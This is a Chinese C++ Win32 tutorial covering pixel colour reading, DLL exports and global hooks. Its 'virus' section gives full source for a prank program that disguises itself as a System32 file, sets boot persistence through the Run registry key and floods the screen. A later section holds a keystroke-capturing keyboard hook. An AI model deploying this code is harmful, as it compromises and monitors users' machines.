API及類型
HANDLE類型 ->進(jìn)程句柄
HWND類型 ->窗口句柄句柄
CreateToolhelp32Snapshot(DWORD dwFlags,DWORD th32ProcessID)可以獲取系統(tǒng)中正在運(yùn)行的進(jìn)程信息,線程信息
Process32Next()下一個進(jìn)程的句柄。
VirtualAllocEx ()在指定進(jìn)程的虛擬空間保留或提交內(nèi)存區(qū)域,除非指定MEM_RESET參數(shù),否則將該內(nèi)存區(qū)域置0。
SuspendThread()掛起線程
視覺
什么是C++視覺?利用機(jī)器識別一張圖片,可用作于游戲腳本(按鍵精靈類似)
既然是視覺,那么就是電腦上的顯存數(shù)據(jù)(顯卡設(shè)備)
windows的顯存數(shù)據(jù),都保存在一個叫做HDC的上下文的句柄中
我們要取到顏色值,首先要獲取顯存數(shù)據(jù),然后根據(jù)顯存指針得到你想要的點(diǎn)的顏色值
HDC myDc = GetDC();需要一個窗口句柄
GetDC();獲取某一個窗口的HDC。參數(shù)窗口句柄如果穿0那么就是獲取桌面
獲取鼠標(biāo)位置
DWORD pos;
GetCursorPos(&pos) 獲取鼠標(biāo)位置
獲取指定位置顏色獲取的是BRG 不是RGB我們需要轉(zhuǎn)換
HDC dc設(shè)備 = GetDC(0); //獲取桌面的DC
int BGR = GetPixel(dc設(shè)備,100,100); //獲取桌面位置在100,100的顏色值
解析獲得的BGR
例如我們獲得的BGR是
6531137這個值轉(zhuǎn)為二進(jìn)制011000111010100001000001
我們以8位數(shù)為一個單位
| B | G | R |
|---|---|---|
| 01100011 | 10101000 | 01000001 |
按照這個規(guī)律我們往數(shù)據(jù)的左側(cè)填充2 * 8 單位的0是不是就是BGR中的B
也就是說BGR往右移16就是B => BGR>>16
| NULL | NULL | B |
|---|---|---|
| 00000000 | 00000000 | 01100011 |
繼續(xù)我們獲得BGR中的G
按照這個規(guī)律我們往數(shù)據(jù)的左側(cè)填充 8 單位的0
也就是說BGR往右移8就是 => BGR>>8
| NULL | B | G |
|---|---|---|
| 00000000 | 01100011 | 10101000 |
然后我們在進(jìn)行二進(jìn)制的位運(yùn)算(&) BGR>>8 & 0xff0XFF在二進(jìn)制中是11111111
| NULL | B | G |
|---|---|---|
| 00000000 | 01100011 | 10101000 |
| 00000000 | 00000000 | 11111111 |
&運(yùn)算同為1則結(jié)果為1,不相同則為0,這樣我們就得到了R
獲取R,這個就很簡單了,我們直接進(jìn)行位運(yùn)算(&)0XFF就是最后的R了
實(shí)戰(zhàn)視覺 - 取色器
#include <iostream>
#include <Windows.h>
using namespace std;
int main()
{
/*
用戶按下ctrl 就獲取鼠標(biāo)當(dāng)前位置的顏色;
*/
HDC dc設(shè)備 = GetDC(0);
int beforeX= NULL, beforeY = NULL;
while (true)
{
if (-32767 == GetAsyncKeyState(VK_CONTROL))
{//然后我們獲取鼠標(biāo)的位置
POINT pos;
GetCursorPos(&pos);
if (pos.x - beforeX || pos.y - beforeY )
{//必須保證鼠標(biāo)和上次的坐標(biāo)不一致,這樣可以避免重復(fù)取色
int resut = GetPixel(dc設(shè)備, pos.x, pos.y);
cout << endl;
cout << "十進(jìn)制顏色"
<< resut
<<endl;
cout << " R:"
<< (resut & 0xFF)
<< " G:"
<< (resut >> 8 & 0xFF)
<< " B:"
<< (resut >> 16)
<< endl;
beforeX = pos.x;
beforeY = pos.y;
}
}
}
system("pause");
return 0;
}
查找某個窗口的句柄
FindWindow(LPCSTR lpClassName ,LPCSTR lpWindowName)
lpClassName->窗口類名、lpWindowName->窗口名字
返回一個HWND值
做一個視覺上的"病毒"程序
先上效果圖

無法關(guān)閉,開機(jī)自啟動,偽裝成系統(tǒng)文件
#include <iostream>
#include <Windows.h>
#include <time.h>
#pragma warning(disable:4996)//忽略4996的報(bào)錯
#pragma comment(linker, "/entry:mainCRTStartup /subsystem:windows")//使窗體不顯示出來
using namespace std;
void test()
{
srand(time(0));
}
int gerRand(int a,int b)
{
return (rand() % (b - a + 1) + a);
}
int main()
{
HDC dc = GetDC(0);
HFONT 字體 = CreateFont(
25,10,0,0,5,0,0,0,ANSI_CHARSET,OUT_DEFAULT_PRECIS,CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,DEFAULT_PITCH | FF_SWISS,"微軟雅黑"
);
SetTextColor(dc,RGB(255,0,0));//設(shè)置字體顏色
SelectObject(dc,字體);
SetBkMode(dc, TRANSPARENT);//設(shè)置背景為透明
char PATH[MAXBYTE] = {0}; //設(shè)置文件的路徑
GetModuleFileName(NULL, PATH,MAXBYTE);//獲取文件的名字保存
PVOID oldValue = 0;
Wow64DisableWow64FsRedirection(&oldValue);//使用這個函數(shù)后可重定向訪問到正確的 64 位注冊項(xiàng)
CHAR copy[MAXBYTE] = { 0 }; //把現(xiàn)在的文件路徑考到copy字段
strcat(copy,"copy \"");
strcat(copy, PATH);
strcat(copy,"\" \"");
strcat(copy, "C:\\Windows\\System32\\cmdkey32.exe");
strcat(copy,"\"");
/*
此時(shí)的copy的語句是
copy "debug下的當(dāng)前程序 c盤/\\Windows\\System32\\cmdkey32.exe"
就是把程序拷貝到c盤下
*/
system(copy);//執(zhí)行cmd命令
/* 把程序放入開機(jī)自動運(yùn)行的注冊表 */
HKEY Hkey = 0;
RegCreateKeyExA(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
0, 0, REG_OPTION_NON_VOLATILE, KEY_WOW64_64KEY | KEY_ALL_ACCESS, NULL,
&Hkey, NULL
);
RegSetKeyValueA(Hkey,"Mypro",0,REG_SZ, (BYTE *)"C:\\Windows\\System32\\cmdkey32.exe",35);
while (true)
{
ExtTextOut(dc, gerRand(0,1920), gerRand(0, 1080), ETO_CLIPPED, NULL, "你已被劫持,請聯(lián)系簡書 · 十年之后", 38, 0);
//繪制出來
Sleep(20);
}
ReleaseDC(0,dc);
system("pause");
return 0;
}
DLL
使用vs創(chuàng)建一個空的DLL工程
// dllmain.cpp : 定義 DLL 應(yīng)用程序的入口點(diǎn)。
#include "stdafx.h"
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:/*被進(jìn)程加載的時(shí)候調(diào)用*/
case DLL_THREAD_ATTACH:/*當(dāng)進(jìn)程有新的線程的時(shí)候*/
case DLL_THREAD_DETACH:/**當(dāng)進(jìn)程有一個線程被關(guān)閉的時(shí)候*/
case DLL_PROCESS_DETACH:/*進(jìn)程被卸載的時(shí)候*/
break;
}
return TRUE;
}
然后編譯生成一個DLL,我們在寫一個exe程序也就是win32空程序調(diào)用剛剛我們寫的DLL文件
重點(diǎn)是
HMODULE類型 以及調(diào)用DLL函數(shù)LoadLibrary
exe程序
int main()
{
HMODULE hmodule = LoadLibrary(你剛剛生成的DLL路徑);
if (!hmodule)
{
cout << "DLL加載失敗" << endl;
}
Sleep(200000);
}
DLL中的變量、函數(shù)在其他exe程序中使用
變量調(diào)用
DLL
extern "C" int __declspec(dllexport) test = 3124; //定義變量test
exe
HMODULE hmodule = LoadLibrary(你剛剛生成的DLL路徑);
int DLLinBian = *(int *)GetProcAddress(hmodule, "test");//獲取值
函數(shù)調(diào)用
DLL
extern "C" int __declspec(dllexport) addSum(int a ,int b)
{
return a + b;
}
exe
typedef int*(*MYFn)(int,int);
MYFn DLLFn = (MYFn)GetProcAddress(hmodule, "addSum");
int a = (int)DLLFn(3, 4);
用DLL構(gòu)建一個系統(tǒng)全局消息鉤子
SetWindowsHookEx
鉤子(Hook),是Windows消息處理機(jī)制的一個平臺,應(yīng)用程序可以在上面設(shè)置子程以監(jiān)視指定窗口的某種消息,而且所監(jiān)視的窗口可以是其他進(jìn)程所創(chuàng)建的。當(dāng)消息到達(dá)后,在目標(biāo)窗口處理函數(shù)之前處理它。鉤子機(jī)制允許應(yīng)用程序截獲處理Windows消息或特定事件
//DLL
// dllmain.cpp : 定義 DLL 應(yīng)用程序的入口點(diǎn)。
#include "stdafx.h"
#include <iostream>
using namespace std;
/*
做一個全局的消息鉤子函數(shù)
*/
/*
回調(diào)函數(shù)
CALLBACK_WH_GETMESSAGE : 處理監(jiān)聽鼠標(biāo)鍵盤的回調(diào)函數(shù)
*/
LRESULT CALLBACK CALLBACK_WH_GETMESSAGE(_In_ int ncode, _In_ WPARAM wParm,LPARAM lParm)
{
cout <<"哈哈"<< endl;
return CallNextHookEx(NULL, ncode, wParm, lParm);
}
/*
回調(diào)函數(shù)
處理
WH_CALLWNDPROC :攔截所有的SendMessage處理消息
*/
LRESULT CALLBACK CALLBACK_WH_CALLWNDPROC(_In_ int ncode, _In_ WPARAM wParm, LPARAM lParm)
{
return CallNextHookEx(NULL, ncode, wParm, lParm);
}
/*
回調(diào)函數(shù)
處理
WH_CBTWH_DEBUG :攔截所有窗口事件
*/
LRESULT CALLBACK CALLBACK_WH_CBT(_In_ int ncode, _In_ WPARAM wParm, LPARAM lParm)
{
return CallNextHookEx(NULL, ncode, wParm, lParm);
}
/*
回調(diào)函數(shù)
處理
WH_CBTWH_DEBUG : 攔截鉤子(hook)創(chuàng)建的類型
*/
LRESULT CALLBACK CALLBACK_WH_CBTWH_DEBUG(_In_ int ncode, _In_ WPARAM wParm, LPARAM lParm)
{
return CallNextHookEx(NULL, ncode, wParm, lParm);
}
/*
回調(diào)函數(shù)
處理
WH_FOREGROUNDIDLE : 攔截線程休眠,暫停線程的消息
*/
LRESULT CALLBACK CALLBACK_WH_FOREGROUNDIDLE(_In_ int ncode, _In_ WPARAM wParm, LPARAM lParm)
{
return CallNextHookEx(NULL, ncode, wParm, lParm);
}
/*
回調(diào)函數(shù)
處理
WH_MOUSE_LL : 攔截鼠標(biāo)消息
可以判斷你的鼠標(biāo)消息是模擬的還是硬件觸發(fā)的
比如按鍵精靈就是模擬的或者mouse_event都是模擬的
*/
LRESULT CALLBACK CALLBACK_WH_MOUSE_LL(_In_ int ncode, _In_ WPARAM wParm, LPARAM lParm)
{
if(ncode == HC_ACTION) /*進(jìn)入鉤子必須判斷*/
{
//return 如果一開始就return掉了 那么 你鼠標(biāo)移動動不了了
/*
像一些大型的游戲他就很有可能在這里做了HOOK
判斷鼠標(biāo)移動是模擬的之后就直接return掉了
然后就不會相應(yīng)你模擬操作的內(nèi)容
*/
MOUSEHOOKSTRUCT pMouseHook = *((PMOUSEHOOKSTRUCT)lParm);
cout << pMouseHook.wHitTestCode << endl;
if (pMouseHook.wHitTestCode)
{//當(dāng)為1時(shí)說明是 虛擬模擬的
//現(xiàn)在游戲可能就是這樣屏蔽了你用腳本(按鍵鍵盤)屏蔽了
cout << "你模擬了鼠標(biāo)操作" << endl;
}
else
{//說明他是用戶自己操作了鼠標(biāo)
cout << "我監(jiān)控了你鼠標(biāo)的記錄" << endl;
}
}
return CallNextHookEx(NULL, ncode, wParm, lParm);
}
LRESULT CALLBACK CALLBACK_WH_KEYBOARD_LL(_In_ int ncode, _In_ WPARAM wParm, LPARAM lParm)
{
if (ncode == HC_ACTION)
{
if (WM_KEYDOWN == wParm)
{ //只處理鍵盤按下
KBDLLHOOKSTRUCT *KEY = (KBDLLHOOKSTRUCT*)lParm;
cout << "攔截到你的鍵盤消息,鍵盤碼:" << KEY->vkCode << endl;
/*
這樣就監(jiān)控到你按了什么鍵盤
*/
if (KEY->vkCode == 97)
{//鍵盤碼 - 數(shù)字鍵盤1
printf("屏蔽小鍵盤1\n");
/*
這樣做 那么你按下數(shù)字鍵盤1 那么就不會打出1來了
*/
return true;
}
}
}
//return true; 如果這里直接返回 那么你的任何窗口都打不出字了
return CallNextHookEx(NULL, ncode, wParm, lParm); //不阻塞他消息運(yùn)行
}
//導(dǎo)出開始HOOK函數(shù)
/*
hookType :鉤子類型
ID:線程ID
鉤子類型類型
*/
HINSTANCE 句柄 = NULL;
extern "C" _declspec(dllexport)HHOOK StartHook(CHAR hookType, DWORD ID)
{
HHOOK hok = NULL;
switch (hookType)
{
case 1:
/*
攔截鍵盤鼠標(biāo)
*/
hok = SetWindowsHookEx(WH_GETMESSAGE, CALLBACK_WH_GETMESSAGE, 句柄, ID);
break;
case 2:
/*
攔截鍵盤
*/
hok = SetWindowsHookEx(WH_KEYBOARD_LL, CALLBACK_WH_KEYBOARD_LL, 句柄, ID);
MSG msg;
while (GetMessage(&msg,NULL,0,0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
break;
case 3:
/*
底層攔截鼠標(biāo)消息
*/
hok = SetWindowsHookEx(WH_MOUSE_LL, CALLBACK_WH_MOUSE_LL, 句柄, ID);
MSG msgs;
while (GetMessage(&msgs, NULL, 0, 0))
{
TranslateMessage(&msgs);
DispatchMessage(&msgs);
}
break;
case 4:
break;
case 5:
break;
case 6:
break;
case 7:
break;
case 8:
break;
case 9:
break;
case 10:
break;
case 11:
break;
case 12:
break;
case 13:
break;
default:
break;
}
return hok;
}
extern "C" _declspec(dllexport)BOOL UnHook(HHOOK Hhook)
{
return UnhookWindowsHookEx(Hhook);
}
//DLL主函數(shù)
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:/*被進(jìn)程加載的時(shí)候調(diào)用*/
句柄 = hModule;
break;
case DLL_THREAD_ATTACH:/*當(dāng)進(jìn)程有新的線程的時(shí)候*/
case DLL_THREAD_DETACH:/**當(dāng)進(jìn)程有一個線程被關(guān)閉的時(shí)候*/
case DLL_PROCESS_DETACH:/*進(jìn)程被卸載的時(shí)候*/
break;
}
return TRUE;
}
exe
int main()
{
HMODULE DLL = LoadLibrary(L"E:\\Cdata01\\MYDLL\\Debug\\MYDLL.dll");
HHOOK(*StartHook)(CHAR, DWORD) = (HHOOK(*)(CHAR, DWORD))GetProcAddress(DLL,"StartHook");
BOOL(*UnHook)(HHOOK) = (BOOL(*)(HHOOK))GetProcAddress(DLL, "UnHook");
HHOOK JUB = StartHook(2, 0);
Sleep(200000);
}
CString轉(zhuǎn)換成 char *
CString strFilePath = _T("測試的");
USES_CONVERSION;
char* p = T2A(strFilePath.GetBuffer(0));
strFilePath.ReleaseBuffer();